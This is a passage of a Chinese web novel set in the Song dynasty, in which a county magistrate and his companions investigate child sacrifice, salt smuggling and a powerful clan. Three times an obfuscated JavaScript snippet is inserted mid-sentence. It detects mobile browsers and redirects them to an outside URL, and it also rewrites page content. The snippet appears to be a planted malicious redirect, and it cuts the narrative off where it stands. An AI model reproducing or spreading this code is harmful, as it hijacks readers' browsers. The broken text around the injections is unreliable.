后来柳晏熬了一整夜,画出了三个孩子的模样,宋准早上醒来时看到他还在书案前研究那头骨,边上扔了不少废稿。 “稚言,去睡会儿吧,熬这样久,今日还随我们出去吗?” 柳晏摇摇头说:“我去了帮不上什么大忙,缠着晦言在外人面前也不自在。这还有四个孩子,我画完了就去睡。” “别熬坏了,瞧你眼睛都通红,让这灯熏了一夜,受不了的。”宋准着实担心他,他遇到这样的事总是格外执着,不按自己心意做完就不罢休,不吃不喝不睡觉的。 “我没事儿,别担心我,我受不了会去休息的。”柳晏抬起头露出个笑来,将那三张画像递给他,“喏,我已经渐入佳境了,剩下的会很快的,放心吧。” 他们二人说话声音不大,令狐朝却也醒了,眯着眼睛看向书案那边,说:“你怎么熬了一整夜?再这样下去会秃掉的。” 宋准噗嗤笑了一声,没说什么话,出去打水洗漱了。 “啊?果真吗?”柳晏面上有了些惧色,伸手摸了摸自己的头发,昨夜他将发髻散下来了,还未来得及重新束起来,这一摸,手上多了几根青丝。 “天尊……”他像是下了极大的决心,将那头发扔到地上,说,“无妨,我多的是头发,不差这几根。我要是秃了,也都怪你,空有一身本事却不好好帮我调理。” 令狐朝披上衣服下了床,走到他身边往他后脑勺上来了一巴掌:“恩将仇报是吧,画你的画像,我就多余关心你。” “所以你心里也是有我的对吧。”他抬头望着令狐朝,期待地眨眨眼,摸了把发尾,扯下几根头发递给他说,“暂时没有能什么送给你的,几缕青丝聊表心意,你知道我真的很爱你的。” 令狐朝接过那几根头发,冲他敷衍一笑,拿了案上的记簿将捆成一束的头发随意夹了进去,头也没回:“你有多爱我我不知道,我只知道你要是再不好好睡觉,脸会垮。” 柳晏看着他将自己的头发夹在记簿里,竟觉得有些惊喜,半天没说出话来,屋子里一时间倒安静下来,他便低头接着作画,不再说话。 “令狐兄,稚言,想吃些什么,我出去买。”宋准擦着脸迈进屋里问着,令狐朝说:“我与你同去吧,盐官县离入海口近,说不定有海鱼。” “我要吃昨日那个桂花米糕,惟衡。”柳晏叫道。 “好,给你带回来。”宋准答应着,和令狐朝出了门。 50.以童祭器 衙门里,宋准和赵主簿把这几日的线索都一并写入文书,连带玉蝉等物证一并送往了州府,随后便又带人去了盐神庙——昨日令狐朝说有骸骨不全,要带人再下井寻找。 在捕快挖井的时候,令狐朝和宋准在那庙里细细查看,赵主簿说,这盐神庙废弃了五年有余,从前每隔几年便有祭司主持祭祀仪式,让盐神保佑盐田产量,这些孩子很可能就是祭祀所用的。 神殿内全都是尘土和蛛网,神像破败看不出模样,手还断了一只,摔碎在地上。 宋准在神像底部找到了一块松动的砖石,将那砖石拿下来,里面是一个油纸包,拿出来打开,是几个胶泥活字,那字都还清晰。 “令狐兄,来看看这个。”宋准将那几个活字拿到令狐朝身边给他看,四个字拼凑出来“以童祭器”,油纸上似乎还写着什么,殿内暗得很,看不清。 令狐朝看了看那几个活字,说:“是说那些孩子是拿来祭器的?祭什么器?” 宋准刚想说话,外面赵主簿就在喊:“宋县尉!这井里又挖出东西来了,快来瞧瞧吧!” 闻言二人都出去了,到那井边看赵主簿说的东西,是一块一尺见方的石板,上刻着整整一面的篆字,密密麻麻,背面角落里刻着个极小的年号,“嘉定七年”。 那些篆字并不大好认,令狐朝大致看了看,说这记的是嘉定七年的一次祭神仪式,用七名童男童女献祭给河神,以祈求来年风调雨顺。 宋准问赵主簿:“主簿,七年前的事情,您可还有印象?” 赵主簿眉头紧锁,道:“祭神仪式年年都有,可从未听说要用童男童女献给河神的啊,而且既是献河神,为何会在这盐井里?” “回去查一下县志。还有,祭神仪式总要有人牵头吧,赵主簿,往年都是谁牵头办这祭祀的?” “是本地的豪强,孙氏。” “孙氏?倒是有来头……”宋准喃喃道,之前有一次柳晏给他讲过现在各地的氏族豪强,这孙氏与程氏家族来往非常密切,族中子弟大多是程氏门生,在朝为官。 赵主簿以为宋准在对自己说话,便自顾自应声:“是啊,听说那个石氏也投靠了孙氏,如今城中一多半的盐业都在他们手里,很是有威望啊。” “啊?”宋准听到主簿的话先是一愣神,反应过来立刻回道,“主簿,能否先回去查过县志,再找些参与过七年前那次祭祀的百姓来问问,看看那祭祀究竟是怎么一回事。” “县尉的话在理,这井里也清理得差不多了。令狐仵作,那些孩子的尸骨都全了吗?” 令狐朝应声:“全了。” “那便先回衙门吧。”宋准说完又想起来什么似的,问,“井壁上有没有什么松动的砖石或者也刻了字的?” 有个捕快立刻回道:“回县尉,确实有刻字,不过有些模糊了,看不太清是什么。” “我下去看看。”宋准说着已经走到了井边,系上绳子就慢慢爬了下去,火折子照亮那一块井壁,那些字有些残缺了,擦去边上的尘土,断断续续的,是一封婚书。 “……礼书成通,好期将卜……两姓来谕,共成姻好……林正则,沈文嫣。” 婚书刻于石上,百年千年都难腐朽,人却易逝。若不是被卷入了这些纷争,他们二人原本可以一同长大,于吉日成婚,婚后或生育几个儿女,继承两家的盐商生意,一辈子衣食无忧,安然终老。 深深叹了口气,宋准拽了拽绳索,攀住井壁爬了上去,说:“是沈文嫣和林正则的婚书。” 在场众人皆是一声声叹息,令狐朝走到他身侧拍了拍他的肩膀:“走吧,回去把这案子破了,也算给他们二人一个交代。” 回去的路上,令狐朝和宋准走在最后面,宋准的情绪一直有些低落,垂眼看着地上不说话,令狐朝从怀里掏出块糖递给他,说:“吃点儿甜的,开心点。” “多谢令狐兄。我是觉得他们二人实在可怜,想尽了所有法子,只是想活下去,却也这样难,那些人为何非要置他们于死地呢。” “不要去试图理解歹人,你若是理解了歹人的想法,你自己也会变成歹人。只是你如今是县尉,为官爱民是好事,但不要将自己的情感投入太多到其中,这只会影响你的判断。” 宋准有些讶异,不知道令狐朝为何会说出这样一番话来,而令狐朝却像是看出了他的想法,又说道:“我的意思是说,不要想太多,歹人的想法是最没有道理的,今日想杀这个,明日要灭那个的门。你问他为什么,他说,‘老子就是看他不爽’,他便要去屠了人家满门。” 说到这儿他很无奈地笑了一声:“呵,从前这种人见多了。” 宋准一时不知道该怎么接话,他总是不知道该怎么接话,怕自己说出不合时宜的话,于是干脆选择不说。 于是他只点了点头,令狐朝也没计较他的沉默,拍拍他后背,继续往山下走。 架阁库里,主簿拿来了盐官县县志,其中记载嘉定七年二月初二,城中在程氏长老牵头下办了祭祀礼,舞狮舞龙,游行放灯,盛况空前,持续了七日七夜才息。 翻看嘉定六年和七年的案宗,也有两起孩童失踪案与井底的孩子的年岁对得上,这几乎就是坐实了程氏以生人活祭的罪名。 那么林正则的死又是因为什么呢? 想到昨日夜里柳晏说的老鸨的死因,宋准很难不将林正则的死与官盐走私联系起来,于是他几乎是没怎么思索,就准备前去盐场和茶盐司查账。 赵主簿听了宋准的分析,签了文书便随他去了,借了匹马,快马加鞭赶到茶盐司,刚拴好马准备进去,却看到了一个十分令宋准意外的人。 那人身着六品官服,与寄禄官说笑着往外走,走到门口见到风尘仆仆的宋准,那人一愣,十分惊喜地叫道:“宋惟衡!你怎么在这儿?” 这人是宋准年幼时的玩伴,张惠张子初,两人父亲曾是同僚,家又住得近,来往频繁,两个孩子年龄相仿,很快就玩到一起,后来各自出仕,鲜少见面,不想竟能在这儿遇上。 “贤兄?”宋准也很意外,但有外人在此,却也不敢忘了礼节,当即行礼道:“听闻贤兄如今任临安府通判,久未得空拜谒,还望恕罪。” “这是说的什么话,你我之间何必行此礼。”张惠说着,转头对寄禄官说,“惟衡是我儿时的玩伴。只是不知如今在何处高就?” “我天生驽钝,并不担得了什么大任,如今忝居临安县县尉,勉强混口饭吃。” 张惠闻言笑了,说:“你若驽钝,天底下何来聪明人?不过你既是临安县尉,怎么突然来茶盐司了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657598|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “实不相瞒,前些日子盐官县有命案请我去协查,盐场的事儿,总是牵连到账目记档,便来茶盐司查阅一下。这是盐官县赵裕主簿的手书。”宋准将文书拿出递到寄禄官面前,却被张惠抢先拿到手里查看。 “哦?是什么样的命案,牵连到盐场账目?是有人走私官盐不成?” 他的语气听起来有些奇怪,但话里却也并没什么不妥,宋准也不知道是不是自己的错觉,只能将这种感觉压了下去,回着张惠的问话。 “回通判,盐场的一位盐工无故溺亡,其家人击登闻鼓鸣冤,称其被奸人暗害,其未婚妻也因此自缢而亡,二人来往书信直指其是因为撞破了什么见不得人的交易才不得不逃跑,许是逃跑途中被灭了口。下官以为,多半与官盐走私有关。” “确定了吗?你怎知那些书信不是伪造出来的?盐工私自逃跑也是重罪,抓回来照样是要受刑的。”张惠站在那台阶上,宋准仍拘着礼在台阶下,他们之间隔着的仿佛不是几级台阶,而是天堑。 宋准也只能硬着头皮说:“是,但此事一码归一码,毕竟是条人命,更何况下官也因此案查出了一起极其严重的活人生祭事件,相关文书今日一早已经送去了州府。下官私以为,总该多方查证,若与官盐无关,也好还嫌疑者清白。” “多年不见,贤弟倒是愈发仗义正直起来了。”张惠勾起唇角笑了笑,将文书递给寄禄官,说,“带宋县尉去查账吧,可要仔仔细细查清楚了。” 说完他便乘车离开了,临走前掀开车帘看了一眼宋准的背影,宋准似是察觉到什么,回头望去,却只见到车轮带起的烟尘。 宋准是带着盐场从前的走私账簿和公账来的,与茶盐司的记档对比之后,发现其中确实是有不少的坏账。 他将其中的异常之处誊抄下来,快马加鞭赶回县衙,查账目用了不少时间,此时已近午后,到了衙门拴上马就赶往架阁库去,他知道令狐朝一定在那儿。 果不其然,令狐朝老远听到脚步声就迎出来,拿着那张包着胶泥活字的油纸对宋准道:“惟衡,这油纸是账册的残页做的啊。” 宋准先是一愣,随即立刻反应过来问:“是走私官盐的账册?是程氏的?” “不好说是谁的,但确实是和盐有关,你瞧。” 那上面记录着几年前的一部分私盐账目,背面还有一行潦草的字,写着“浸药显影”,令狐朝说,那是林正则的字迹。 “这么看来,确实是因为林正则发现了程氏生人活祭和走私官盐的事情,才被灭了口。程氏必须要查一下了。只是他们如今已经是门阀天下的豪强,我担心……” 令狐朝抿了抿唇,说:“这样大的树,想要一下子连根拔起是万万不可能的,但树为了能一直在风中屹立,会自己舍弃一些枝条。我知道你在担心什么,别怕,我们不急于这一时。今后还有的是时间和机会。” “令狐兄的意思我明白,明日州府肯定会来人的,我会如实上报,只是这样大的案子,也轮不到我左右案情的判决。” “都无妨,你只需做你该做的就是,有过便罚,有功当赏,你好歹也是出了力的,还怕今后没有能左右案子判决的一天吗?”令狐朝勾唇微笑着,嘴边现出个梨涡,宋准看着他的笑,心里也觉得安定了下来。 51.故友(一) 一日没看到柳晏了,没有他在身边叽叽喳喳说那些腻歪的话,宋准却觉得少了些什么,回了县廨去,就看他在榻上四仰八叉地睡着,案上整整齐齐摆着七张孩童画像,每一张上都还压着对应的头骨。 旁边还放着张字条,写着“吃饭叫我”。 看到这字条,令狐朝噗嗤一声笑了,对宋准道:“他倒还惦记着吃饭呢,看来没画傻。” 宋准也笑了,走到榻边推推柳晏的肩膀:“稚言,稚言?吃饭了。” “嗯~别闹。”柳晏翻了个身攥住了宋准搭在他肩膀上那只手,迷迷糊糊念叨,“晦言,你的手何时变得这么糙了。” “这是我的手。”宋准无奈道。 柳晏睁开眼,抬头看见了边上的宋准,立刻松开了手:“啊,惟衡,我不是故意的…我以为是晦言呢。” “怎么,是我你就能为所欲为了?” 柳晏在榻上伸了个懒腰,把骨节都伸得“咔咔”响,爬起来揉着眼睛道:“我和你什么事儿没做过啊,当然为所欲为了,惟衡可是良家公子。” 令狐朝白了他一眼,不接他的话茬,只说道:“快收拾收拾,出去吃东西。” “噢。”柳晏答应着,下了榻,用一支木簪随意将头发盘起,套了件外衫,将里衣的领子往上拉了拉,便回头说道,“收拾好了,走吧。” “这就收拾好了?”宋准有些讶异地问他,“平日里不都要打扮两刻钟才肯出门吗?” 柳晏低头看了看衣裳,照铜镜看了看发髻,说:“是素了点儿,无妨,本公子天人之姿,无需粉黛还是能光彩照人,走吧,我还想吃绿豆冰碗呢。” “绿豆冰碗,我看你像颗绿豆。”令狐朝笑了一声,柳晏今日穿的里衣和外衫都是豆绿色的,他还戴着对翠玉耳铛,果真像颗绿豆成精。 柳晏满不在乎,摘下耳铛放进了腰间的口袋,上前将脸凑到令狐朝面前:“绿豆怎么了,清热解毒,消暑解渴,此乃良药,夏日当多食。” “好,多食。”令狐朝笑着推开他的脑袋,拽住他袖子往外走去。 次日一早,许是因为案情重大,州府的曹参军和通判张惠都来了,主簿又再向他们说明了这几日查到的线索,连同沈林二人的往来书信一并交给他们过目。 曹参军看完那些物证,便和张惠带人去了程府,有州府出面,这案子无论如何都会有个说法,只是不知道能动摇程氏多少。 宋准和主簿也跟随他们同去,盐官县的程氏是旁支,但在本地也算是豪强,那宅院也是极阔气,白墙灰瓦,紫檀木门,门钉门槛皆包铜,前厅梁柱皆用金丝楠木,陈设多黑漆家具,摆着些瓷器古玩,屏风都是苏绣花鸟,甚是奢靡。 这一支如今主事的是这一辈的长公子程微,听说州府来人查案,他刻意晚了些才来,接近前厅时才加快脚步,入内行礼道:“不知贵客到访,程微有失远迎,实在是家中事务繁忙,难抽开身,请诸位恕罪。” 曹参军面上没有丝毫不悦,起身回礼:“程公子言重了,是我等来得唐突。我便也不多绕弯子了,近日城中一户盐商家的小姐在出嫁的花轿上自缢而亡,此事公子可曾听说?” 程微坐在主位上,垂眼笑笑说:“听说了,此事闹得沸沸扬扬,想不听说都难。” “宋县尉和赵主簿多方查证之下,我等怀疑这位小姐的死与程氏有关。连同七年前的祭神仪式,在入海口的盐神庙废弃盐井中挖出的七具儿童遗骸,也与程氏有关。” 曹参军开门见山,并不给程微什么思考回答的机会,又道:“程氏是大世家,出了这样的事,应当尽快洗清嫌疑才是,这是州府文书,还请程公子能配合我等查验。” 程微听了曹参军的话,依旧面不改色,脸上挂着个似有似无的微笑,略一颔首:“听曹参军的意思,是已经有了确凿证据了?只是您也知道程氏是世家,这一查,难免是叫人以为我们程氏做了什么伤天害理的事儿……” 张惠此时起身行了一礼:“程公子,在下临安府通判张惠。公子且放心,只是按流程排查,问几句话而已,若此案与程氏无关,自然不会对程氏有任何影响。” “张通判说得是不错,可你们这么大的阵仗上门来,悠悠众口岂是那样轻易就堵上的?再者说了,若是你们查错了,又该如何?此事便不了了之了吗?” 程微的话咄咄逼人,曹参军面不改色回道:“若是我们查错了,向程氏赔礼致歉就是。程公子恐怕是有所不知,城中关于程氏的流言已经在传。程公子既担心家族声名有损,就更应当配合我等以证清白才是。” 程微脸上的表情僵了一瞬,眼里透出些不耐烦来,但随即又换回那副似有似无的微笑,说:“好,参军要问什么,我答便是。” 宋准拿出那张记着账目的油纸递给曹参军,曹参军将其接过,拿到程微面前:“程公子,不知这页账目是否是府上之物?” “不是。”他只瞟了一眼,便否认得干脆。 曹参军又问:“不知七年前主持城中祭神仪式的族人可在?” 程微转着手上的玉扳指,没抬眼,说了句:“那是我的大伯,三年前就已经去世了。” 他的语气毫无波澜,好像在说旁人的家事,曹参军问他族中还有谁参与过当年的祭祀,他这才抬起头说:“都死了。” “都过世了?为何?”曹参军一皱眉,已经觉得这人有些不对劲。 “年纪大了,自然就死了。如今城中祭祀也不是程氏牵头,为何要问我这些?” “七年前那场祭祀用了活人生祭,程公子,这可是重罪,不得不多问一句,请您想好了再答,程氏族中,如今是否还有参与过当年那场祭祀的人?” “曹参军的意思我明白,只是我说了,他们都死了,就算再是重罪,那也是上一辈的罪责,与这一辈的程氏子弟无关,程氏如今也已经不再插手祭祀之事。若参军还要问这般没根据的话,我便只能送客了,请吧。” 程微站起身,敷衍一礼后转身就要离开,张惠突然开口道:“程公子,可否告知程氏为何不再主持祭祀之事?” 程微脚步一顿,转过身笑道:“因为我不信鬼神。杜管家,送客了。” 说完他扬长而去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“惟衡,你与我不同,你没有那么多顾忌,切莫妄自菲薄。这次的案子,你做得很好,只是此案过后,你可能没法再留在临安了。” “子初兄此话何意?” “瞧你,这个时候了才唤我子初兄。”张惠垂眼笑笑,说,“我如今也是程氏的门生,看在你我总角之交,我愿意将这一局透给你,以后若再见,我们可能就会是敌人。” 宋准看着他,熟悉的脸,却是陌生的神色,他很久之前就知道,张氏已经唯程氏马首是瞻,所以他才会渐渐疏远张惠。 所谓道不同不相为谋,幼时没有那么多利害关系,整日一起抓蛐蛐逗鸟摸鱼也就罢了,如今各有各的道,自然总有针锋相对的一日。 见宋准没说话,张惠又接着说:“你案子查得太清楚了,程氏的人已经盯上了你,此案过后,你会被派往潭州。还有你们县里那个仵作,他以前不按规矩验尸的事儿也被查出来了,多少会受些刑罚,今后也没法留在临安了。今后,还是尽量小心行事吧,有些人不是你如今惹得起的。” 52.故友(二) 张惠的话落在宋准耳里,很意外地,他没有什么情绪,只是笑笑对张惠一拱手:“我知道了,多谢子初兄提醒。今后是敌人也好,是故友也好,惟衡也记子初兄今日之情。” “好了,不用记我什么情,往后哪一日你若平步青云,别让为兄身首异处就行。”张惠把一只手搭在宋准拘着礼的双手上,把它们摁了下去。 说完,张惠便进了衙门,去找赵主簿说话去了。 宋准站在原地,看着他的背影,按理说遇上这样的事情,应该会难受一阵子,但他心里想的却是:“这一日终究还是来了。” 没急着去往盐场,宋准先拐去了旁边的县廨,张惠说令狐朝会受刑罚一事,他们总得商议个办法,不按规矩验尸的罪,不追究也就罢了,追究起来起来少说也得挨十棍,令狐朝身子本就弱,不知受不受得住。 一进屋,就看见令狐朝坐在桌边看书,柳晏趴在榻上呼呼大睡,见到宋准进来,令狐朝唇角一扬,轻声问:“怎么样了?” 宋准摇摇头,说:“程氏的长公子说,当年主持过参加过祭祀礼的长辈都过世了,通判主张要结案,我觉得那些孩子的事儿总该能追究,曹参军就去提刑司审三槐堂的人了。” “这样啊……人都死了,确实也不好去追究什么,毕竟不是我们县域内的案子,还是要看参军和主簿预备怎么处理。” “还有一件事,令狐兄。”宋准纠结着要如何开这个口,好歹是下了决心,走到他身前道,“令狐兄,此案结束之后,你我恐怕都不能再留在临安了。” 令狐朝有些不明所以,放下手里的书歪头看着他:“嗯?为何?” “通判张惠是我的故友,他如今是程氏的门生,他方才说,我案子查得太清楚,被程氏的人盯上了,他们很快就会把我调去潭州。令狐兄当年违规验尸的事情也被他们扒出来了,说是要追究,令狐兄你……可能会受些刑罚,而且今后也不能在临安做仵作了。” 令狐朝一愣,随后笑了起来:“我以为什么事儿呢,要罚就罚嘛。你去潭州,我也可以跟着你一起去啊,当然你要是觉得带着我麻烦,我随稚言走也可以的。” “令狐兄这是什么话!我怎会觉得你麻烦,你愿意跟我一起去潭州,我求之不得。只是那刑罚……你身子弱,我担心你受不住。” 宋准没忍住说话声音大了些,吵醒了榻上的柳晏,他翻个身迷迷糊糊问:“什么受不住?” “受刑,惟衡担心我身子受不住。”令狐朝回头说。 “什么?!你要受刑?为什么?凭什么啊?”柳晏腾地一下坐起来,皱着眉问。 宋准叹口气,不知道要怎么跟柳晏解释这个事情,只得把刚才跟令狐朝说的原封不动讲给他。 柳晏皱着眉听完,走到令狐朝身边摸了摸他侧脸,说:“不如现在就跟我跑吧,我们回西凉去,离这些疯子远点。” 令狐朝拿下柳晏的手,抬头看着他:“我们走了,惟衡怎么办?你忍心叫他一个人去对付那些人吗?” “惟衡也一起走。” “啊?”宋准摇摇头,说,“我不能走,我还有事要做的。” 柳晏低头抿了抿嘴,看着令狐朝望向他的眼睛,像是下了极大的决心,问:“确定了是去潭州吗?” “文书没下来,也不能完全确定。”宋准道。 “文书下来了就跟我说,我回去把临安的产业出手了,带鬼樊随你们一同去潭州。” 柳晏这话一出口,宋准十分震惊,张了张嘴半天没说出话来,令狐朝拽了拽柳晏的胳膊,说:“你疯了?你带着这么一大群人,才刚在临安安顿下来,又要去潭州,楼里人不会有怨言的吗?” 柳晏又把手覆在了令狐朝侧脸,道:“才不是刚安顿下来呢,已经在临安小一年了。当初能为了你从西凉到临安,如今自然也能为了你和惟衡去潭州,他们愿意跟着我,不会有怨言的。” “你啊,真是……”令狐朝拿下他的手,在他手背上打了一下,转头对宋准说,“惟衡,他决定的事情就改不了了,你若真被调去潭州,那我们就一起去潭州,若是旁的什么地方,我们也随你去。” “我宋准何德何能……”宋准心下触动,一句话没说完就哽在喉中,转过头努力克制着不让眼泪掉下来,呼吸也在颤抖。 令狐朝站起身,在他后背上拍拍,笑着安慰道:“没事儿,别这么感动,受刑的事情也不用担心,从小什么样的刑罚没受过,你好歹也是个县尉,贿赂一下行刑伍人让打轻点不就好了,别哭了,啊。” 宋准闻言又想落泪又想笑,这祸事说白了是因自己而起,现在却要令狐朝反过来安慰他,心里多少都有些过不去,克制了半天,只点点头,道:“多谢令狐兄和稚言,愿意跟我这个无能之辈做朋友。” “你才不是无能之辈呢,无能之辈能上任三个月连破四个案子吗?无能之辈能随随便便拿到皇帝的敕书吗?无能之辈能让程氏这种门阀贵族盯上吗?”柳晏也像令狐朝一样拍拍他的肩膀道。 令狐朝走回桌边坐下,拿起书来接着看:“好了,就这么说好了,一会儿去吃个饭,我陪你去盐场查那些盐工,不管接下来要去哪儿,我们都一起去。” “好。”宋准红着眼睛点点头。 柳晏笑了笑,去一旁更衣梳妆了,他从晚上睡到正午,可算是补上了昨日的觉,现下正觉神清气爽,可算有心思打扮了。 在街上随便找了间食肆,三人进去点了只烤鸭子,几碟小菜,吃完了便赶往了盐场。 烈日炎炎,这正午时分盐工们依旧要顶着烈日不停劳作,因暑热晕倒的大有人在,盐场也就给灌些绿豆汤,缓过来了接着去干活儿。 宋准叫来了那个曾与林正则斗殴的盐工,在一棵大树底下问话。 那盐工脸上被太阳晒得又黑又红,汗水顺着下巴低落,衫子上都是盐渍,在树下的荫凉里用力喘着气。 “你之前说的沈氏巴结石氏的事情,最早是听谁传出来的?是石氏的人吗?” “我上哪儿知道啊,我也是听旁人说的。” 宋准说:“你是听谁说的,就把谁叫来。” 这盐工转身离开,过了会儿带着另一个盐工来了,宋准用同样的问题,叫每个盐工都说了知道的林正则的情况,以及那谣言最早是听谁说的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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令狐朝一直在旁边观察着盐场的布局,突然问了句:“惟衡,你说,林正则有没有可能真的是意外溺亡的?” “令狐兄何出此言?” “我也只是怀疑。运盐渠是通向运河的,如果想要从盐场离开,走水里一定是更快的,到了运河离开盐官,也更好搭船不是?” “可林正则为何会溺死呢?” 令狐朝没有马上回答,只是带着他和柳晏往运盐渠的方向过去。 渠水清澈,为防止河道淤堵,所以经常会来清理水草等杂物,岸边那棵红树按理说不该有,但不知道为什么就让那树留在那了。 令狐朝走到那棵红树边上,仔细查看着那些树茎,在不甚光滑的断枝上找到了一些有点腐朽的弯弯曲曲的麻线,像是从衣裳上勾下来的。 “那天主簿说,林正则被发现时是俯趴着,衣裳勾在树茎上,才没有顺水漂下去。一般来说男子生前溺水而亡,因为其四肢比较粗壮发达,浮上水面时就会呈俯趴的姿势。” 说完,令狐朝直接脱掉了自己的外衫和鞋袜,下了水,在水面上浮起,将里衣钩挂在树根,随后放松身体闭气俯趴在了水面。 水流从他身边而过,他只是随水波轻轻起伏。他又抬起头换口气,将里衣从那树根上解下,将自己推远了些,立刻就随着水漂走了。 53.龙涎香 宋准在岸边看着,立刻就明白了令狐朝的意思,将他拉上了岸。 令狐朝说:“不光是因为这个,那日验尸,虽然林正则的尸体已经几乎就剩骨头,但你有注意到他的手吗,是拳缩着的。如果人是先被殴打死亡后再推入水中,那死者的手就是放松伸张的。” “那么令狐兄的意思是,林正则确实是因为意外才会溺亡的?那他为何会溺亡呢?按说生活在靠水靠海的人应当没有不会水的啊。” 令狐朝脱下里衣拧着那上面的水,说道:“这个我也不好说,不过可能和他打的那一架有关。身上有伤,他多半又是夜里逃的,冷水一激,便受不住了。” 他将里衣拎在手上抖了抖,穿回身上,又套上外衫,宋准看见他背后好几条可怖的疤,还有腰上那一片蝴蝶形状的灼伤,看着叫人心疼,不免皱了皱眉。 “令狐兄,你身上这些伤……” 令狐朝正俯着身穿鞋袜,闻言抬头看向宋准:“嗯?怎么了吗?” 宋准摇摇头:“没事,就是……” “看着吓人?”令狐朝笑笑,说,“是挺吓人的,幸好都在后背上,我自己看不见,哈哈哈。” 柳晏躲在码头旁边的荫凉处,弓着腰用手挡着太阳,一副十分上不得台面的鬼鬼祟祟的模样,太阳往西走,阴影往东移,他也跟着往东移,踩着个东西绊了一跤,撞倒了整齐倒扣在旁边的大竹框,他自己也摔倒在地。 骂骂咧咧站起身抱怨:“什么破玩意儿啊?”可下一瞬,他便直接愣在了原地。 在倒扣着的竹筐下,是一口箱子,散发着若有若无的异香,竹筐一倒,香味更甚——难怪方才一直闻到一股淡淡的香味,他还以为是今日用的新香粉呢。 “晦言!惟衡!快过来!”柳晏向他们喊着,令狐朝与宋准对视一眼,快步向码头走过去。 “怎么了稚言?”令狐朝问道,刚说完他就看见了那口箱子,也闻见了那股异香,皱眉道,“是龙涎香?” 柳晏蹲在那箱子边上,好奇地打量着:“你认得这香?” “略懂一二。”令狐朝说,“这东西名贵,怎么会就这样放在这儿?去问问监官是怎么回事儿。” 宋准应了声好,小跑着往账房去,叫来了叶监官。 叶监官皱着眉打量着那口箱子,十分疑惑地说着:“这东西真是在这竹筐子底下放着的?从前也没见过啊。” “这码头上的东西就没动过吗?”宋准问。 “官盐一个月运一次,除非需要用码头的时候,否则不会有人刻意来动这上面的东西。” “所以您的意思是,上一次运盐的时候这东西还不在这儿?” 叶监官皱着眉思索片刻,点了点头说:“对,每一次运过盐,都会叫人将这码头上重新清扫整理的。上回运盐正是一旬前,那会儿我还特意来瞧过,没有这东西,也没闻到这种香气。” “带回衙门吧。”宋准说,又想起来什么,补充道,“让盐工过来看看有人认得这东西不,是不是盐场里的人放的。” “好,我这就去叫人。” 让盐工们一一辨认过,都说没见过这箱子,宋准也仔细观察了他们每个人的神态,都不似做假,难道这东西还能是外面的人放的不成? 一时没办法,只能把这箱子带回县衙,柳晏把这箱子撬开了,里面确实是有一块龙涎香,还有不少西域曼陀罗,只因龙涎香气味浓郁,才将那曼陀罗的味道掩盖了七七八八。 张惠看到这些香料,凑过来问:“哪儿来的?” 宋准耸了耸肩说:“盐场码头上找到的,没人见过,不知道从哪儿来的。” 张惠又注意到了旁边的柳晏,碰了碰宋准胳膊问:“诶,你这位友人是在哪儿认识的?生得这样一张好面孔,是叫做柳……” “柳晏。”柳晏抬起脸对他笑笑,“见过张通判,多谢通判夸奖,都是父母生得好。” “哦?哈哈哈。”张惠干笑两声,又问,“柳公子出身何处?” “孤儿,没什么出身。”柳晏还是那副人畜无害的笑脸,见张惠似乎是愣住了,他便在令狐朝耳边小声炫耀,“瞧瞧,喜欢我的人多了。” 令狐朝翻了个白眼儿,并不应他的话。 宋准侧头对张惠说:“子初兄,柳公子是来帮忙做画师的。” “画师啊,挺好的。”张惠点点头,说,“石氏还没去问过话吧?我随你们同去?” “那再好不过了,有通判同去,想必他们便也不敢隐瞒什么了。”宋准客气地笑笑,叫人将那箱香料收进架阁库去,几人便去了石氏的宅子。 路上几人都寡言少语的,宋准和张惠走在前头,令狐朝和柳晏跟在后面。 柳晏走路上像个刚放出来的孩子,对什么都好奇得紧,左顾右盼的,几次差点左脚绊右脚把自己放倒了,全靠令狐朝眼疾手快把他捞起来。 石氏的宅子在市集上,靠近盐场的地方,这儿除了石氏之外,也住着城中大多数的盐商,一路过去,都是堪称豪宅的住所。 门口的小厮见是张惠和宋准,十分殷勤地将他们请进去,带到了前堂会客厅里,端茶倒水,又让人去叫他们老爷和石益公子。 不多时,石员外和石益就赶来了。石员外瞧着还不到四十,蓄着胡子,身材匀称,石益不过十八九岁,还未弱冠,一脸好欺负的老实相。 见到堂中几人,父子俩十分恭敬地向他们行礼,随意客套了几句,石员外坐在了主座上,石益立侍在侧。 张惠端起茶碗轻轻吹着,默不作声,宋准便知道是叫他来问话的意思,于是直接开门见山道:“石员外,石公子,沈文嫣自缢一事,想问问二位怎么看。” 石员外捋着胡子,说:“哎,这确实是可惜啊,小小年纪这样想不开,犬子爱慕她已久,若嫁过来,定不会亏待她的呀。” 石益在旁边虽是抬头挺胸站着,目光却一直落在下方,面无表情。 “那二位是否知道沈文嫣曾与人有过婚约?”宋准又问。 “知道。”“不知。” 他们父子二人同时说了完全不一样的答案,说知道的是石员外,说不知道的是石益,说完他们二人都有些惊讶地看了对方一眼,又立即恢复了刚才平静的神态。 宋准微一皱眉:“知道,还是不知道?” 这下那父子二人才同时答:“知道。” “沈文嫣的遗书中所说,她已经查出来是你们在盐场里散布沈氏在巴结你们,要将她卖与你家的传言。我有些好奇,你们为何要传这样的谣言出去?” 石益脸上的表情僵住了,眼神有些心虚地闪躲,没答话。 